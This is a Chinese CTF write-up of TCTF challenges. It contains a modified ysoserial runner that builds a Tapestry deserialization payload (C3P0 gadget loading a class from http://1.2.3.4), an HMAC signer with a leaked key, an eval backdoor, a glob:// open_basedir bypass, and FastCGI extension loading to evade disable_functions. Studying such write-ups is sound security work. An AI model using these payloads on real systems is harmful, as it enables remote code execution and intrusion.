不说了,菜就没什么好说的,都是比赛时没做出来的orz

TCTF Hotel Booking System

首先能确认版本 image.png 那就下载tapestry 5.4.3的源码准备康康。 搜索酒店功能发现post过去一堆base64,随便改下,报错了 image.png 在tapestry 5.4.3源码中全局搜索关键字 在tapestry-core/src/main/java/org/apache/tapestry5/internal/services/ClientDataEncoderImpl.java中找到 image.png 继续全局搜索validateHMAC,看看哪里调用了 在tapestry-core/src/main/java/org/apache/tapestry5/internal/services/ClientDataEncoderImpl.java中找到

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public ObjectInputStream decodeClientData(String clientData)
    {
        // The clientData is Base64 that's been gzip'ed (i.e., this matches
        // what ClientDataSinkImpl does).

        int colonx = clientData.indexOf(':');

        if (colonx < 0)
        {
            throw new IllegalArgumentException("Client data must be prefixed with its HMAC code.");
        }

        // Extract the string presumably encoded by the server using the secret key.

        String storedHmacResult = clientData.substring(0, colonx);

        String clientStream = clientData.substring(colonx + 1);

        try
        {
            Base64InputStream b64in = new Base64InputStream(clientStream);

            validateHMAC(storedHmacResult, b64in);

            // After reading it once to validate, reset it for the actual read (which includes the GZip decompression).

            b64in.reset();

            BufferedInputStream buffered = new BufferedInputStream(new GZIPInputStream(b64in));

            return new ObjectInputStream(buffered);
        } catch (IOException ex)
        {
            throw new RuntimeException(ex);
        }
    }

这个函数的作用是将传进来的字符串以:分割,第一部分为hmac值,第二部分经过base64decodegzip解压后是一个类的输入流,估计下一步就是反序列化了,而且输入的字符串和post中的base64一模一样,有搞头了23333 冲冲冲,继续全局搜,搜出来很多,但是最终锁定tapestry-core/src/main/java/org/apache/tapestry5/corelib/components/Form.javaexecuteStoredActions这个函数中存在一个readObject,同时也能证明传给decodeClientData的参数就是表单中的t:formdata

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
private void executeStoredActions(boolean forFormCancel)
    {
        String[] values = request.getParameters(FORM_DATA);

        if (!request.getMethod().equals("POST") || values == null)
            throw new RuntimeException(messages.format("core-invalid-form-request", FORM_DATA));

        // Due to Ajax there may be multiple values here, so
        // handle each one individually.

        for (String clientEncodedActions : values)
        {
            if (InternalUtils.isBlank(clientEncodedActions))
                continue;

            logger.debug("Processing actions: {}", clientEncodedActions);

            ObjectInputStream ois = null;

            Component component = null;

            try
            {
                ois = clientDataEncoder.decodeClientData(clientEncodedActions);

                while (!eventCallback.isAborted())
                {
                    String componentId = ois.readUTF();
                    boolean cancelAction = ois.readBoolean();
                    ComponentAction action = (ComponentAction) ois.readObject();

                    // Actions are a mix of ordinary actions and cancel actions.  Filter out one set or the other
                    // based on whether the form was submitted or cancelled.
                    if (forFormCancel != cancelAction)
                    {
                        continue;
                    }

                    component = source.getComponent(componentId);

                    logger.debug("Processing: {} {}", componentId, action);

                    action.execute(component);

                    component = null;
                }
            } catch (EOFException ex)
            {
                // Expected
            } catch (Exception ex)
            {
                Location location = component == null ? null : component.getComponentResources().getLocation();

                throw new TapestryException(ex.getMessage(), location, ex);
            } finally
            {
                InternalUtils.close(ois);
            }
        }
    }

并且根据注释,可以使用C3P0来构造poc 因为它先readUTF后再readBoolean,所以payload就要write,于是魔改ysoserial

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package ysoserial.payloads.util;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.util.concurrent.Callable;

import ysoserial.Deserializer;
import ysoserial.Serializer;

import static ysoserial.Deserializer.deserialize;
import static ysoserial.Serializer.serialize;

import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.secmgr.ExecCheckingSecurityManager;

/* * utility class for running exploits locally from command line */
@SuppressWarnings("unused")
public class PayloadRunner {

    public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
        // ensure payload generation doesn't throw an exception
        byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>() {
            public byte[] call() throws Exception {
                final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();

                System.out.println("generating payload object(s) for command: '" + command + "'");

                ObjectPayload<?> payload = clazz.newInstance();
                final Object objBefore = payload.getObject(command);

                FileOutputStream fos = new FileOutputStream("/tmp/payload");
                ObjectOutputStream os = new ObjectOutputStream(fos);
                String completeId = "123";
                boolean cancel = false;
                os.writeUTF(completeId);
                os.writeBoolean(cancel);
                os.writeObject(objBefore);
                os.close();

                System.out.println("serializing payload");
                byte[] ser = Serializer.serialize(objBefore);
                Utils.releasePayload(payload, objBefore);
                return ser;
            }
        });

        try {
            System.out.println("deserializing payload");
            final Object objAfter = Deserializer.deserialize(serialized);
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    private static String getDefaultTestCmd() {
        return getFirstExistingFile(
            "C:\\Windows\\System32\\calc.exe",
            "/Applications/Calculator.app/Contents/MacOS/Calculator",
            "/usr/bin/gnome-calculator",
            "/usr/bin/kcalc"
        );
    }

    private static String getFirstExistingFile(String... files) {
        return "http://1.2.3.4/:Exp";
// for (String path : files) {
// if (new File(path).exists()) {
// return path;
// }
// }
// throw new UnsupportedOperationException("no known test executable");
    }
}

然后将生成/tmp/payload进行gzip压缩后再base64encode image.png 剩下的就是把这串东西进行签名,计算出hmac值,但是缺一个hmacKey 在github上发现了同款hotel系统,下过来进行代码审计,发现hmacKey应该在services/AppModule.javaimage.png 所以缺一个文件读取,幸运的是tapestry 5.3版本存在一个文件读取漏洞 http://tapestry.apache.org/assets.html#Assets-AssetSecurity 于是访问http://test.com/assets/app/e966626/services/AppModule.class,进行反编译后获得hmacKey image.png 那就写一点代码来处理下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import javax.crypto.spec.SecretKeySpec;
import org.apache.tapestry5.internal.TapestryInternalUtils;
import org.apache.tapestry5.internal.util.Base64InputStream;
import org.apache.tapestry5.internal.util.MacOutputStream;

import java.net.URLEncoder;

public class Main {

    public static void main(String[] args) throws  Exception{

        String payload = "H4sIAGrTEV0AA3VTO28UMRCe5C6CPAiBBBREF6UACm8u4RESUZADlJOOEHFRhJTK553kNvHaju297CHxaCiR6OhAokqBxH+ggAoEJQ01FPwGsHcvx+Xlaj3+5pvvm5l9/wf6doZhsCJCTOe2E9QtMBouMRmTmDWo2EDSnCZsRk2RZSn5AmVbGN6hltZkohn+nPjCP/99ttsLkGq4dlRaFCtObteN1ZTZozggPz2FjKN0LMdRuQvUdOWfrMCISOJF5Ar1SkMjDU0VxpkUApmNpPAU/5MtTFY3aZOmgdnmQfkY1HwVhsPObYnGLu9slhdwJzKoWR2JDYcawNSiMI7AWDidIxIb8eA+Ve55bN35l7pV5tSYqmTUl9qGp1CswqkoRGEj21qRW7gXLCjmiCZyojpSYYJlLZ0z2ypn7aklSkltHXeheQi6ilbSOsf90FTt9EKPm/CtA20WNHYuyENcR42CoVuISKMXPNmJ1VBHlEePMaxfePHt+5WPo71e56Drr3Xe89aMtluaEwY+6AWiaFo419WURWoa1gt0r0UHRu96oAr9eq+chfH9XB0hzoY7zsX57P2Q+F+f3rzb/f2yP5PXR8NQm87MsuKrmTNXeYj5adzLJ9Pu+1h37MCg+rO3pbbcYupFjHhe4nlJzvvj9ZO15/Mf3EIWKnCGUUWZG21FMI2xG3MFhpBnX2WZCLsGg+2r3znXwLWu5XpQ33SUzm97ySHRewDiAaQNePX10dsRc5n7/9BjB1TnpBYKd1Nl4WLDWjUXBKWb06R0fZZcvUFKM6W52anZqcDCCUwVl5H1KTtFXyr1q5L+A2eXkxUiBAAA";
        SecretKeySpec hmacKey = new SecretKeySpec("TOP_SECRET_PASSPHRASE_YOU_WILL_NEVER_KNOW:)".getBytes(), "HmacSHA1");
        Base64InputStream b64in = new Base64InputStream(payload);
        MacOutputStream macOs = MacOutputStream.streamFor(hmacKey);

        TapestryInternalUtils.copy(b64in, macOs);

        macOs.close();

        String actual = macOs.getResult();

        System.out.println(URLEncoder.encode(actual+":"+payload));
    }
}

然后把t:formdata改成这个就反弹shell了 image.png

Wallbreaker (not very) Hard

vim备份文件拿到webshell的密码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<!DOCTYPE html><html><head><style>.pre {word-break: break-all;max-width: 500px;white-space: pre-wrap;}</style></head><body>
<pre class="pre"><code>Hey Brave, You should break some walls to kill the Dragon.
Break walls, kill the Dragon, Save the princess!

Wall A: Gain a webshell
Wall B: <?php echo ini_get('disable_functions') . "\n";?>
        Wall C: <?php echo ini_get('open_basedir') . "\n";?>

        Here's a backdoor, to help you break Wall A.
Backdoor: <?php eval($_POST["anfkBJbfqkfqasd"]);?>
</code></pre></body>

看了眼disable_function发现对socket进行操作的函数没被ban,又是nginx起的,用fastcgi打实锤 试了/run/php/php7.2-fpm.sock不对,那就是sock文件名被改了,用glob bypass open_basedir

1
2
3
4
5
6
7
<?php
    if ($dh = opendir("glob:///*/*/*")) {
        while (($file = readdir($dh)) !== false) {
            echo "$file\n";
        }
        closedir($dh);
    }

nice,找到了 image.png 首先自己写个php扩展来实现system的功能,然后把编译后的so文件上传到/tmp目录,然后就使用https://github.com/wofeiwo/webcgi-exploits/来构造fcgi请求,添加env[PHP_ADMIN_VALUE] = "extension = /tmp/catsystem.so",然后post,执行catsytem() (然而可以使用蚁剑的bypass disable_function一把梭 当时我们想的的是直接用fcgi改disable_function,为什么没有效果这篇文章讲的十分清晰https://bithack.io/forum/308

babydb

ocaml十分硬核,在学习语法中…

参考

http://momomoxiaoxi.com/ctf/2019/06/11/TCTFfinal/ https://bugs.php.net/bug.php?id=73891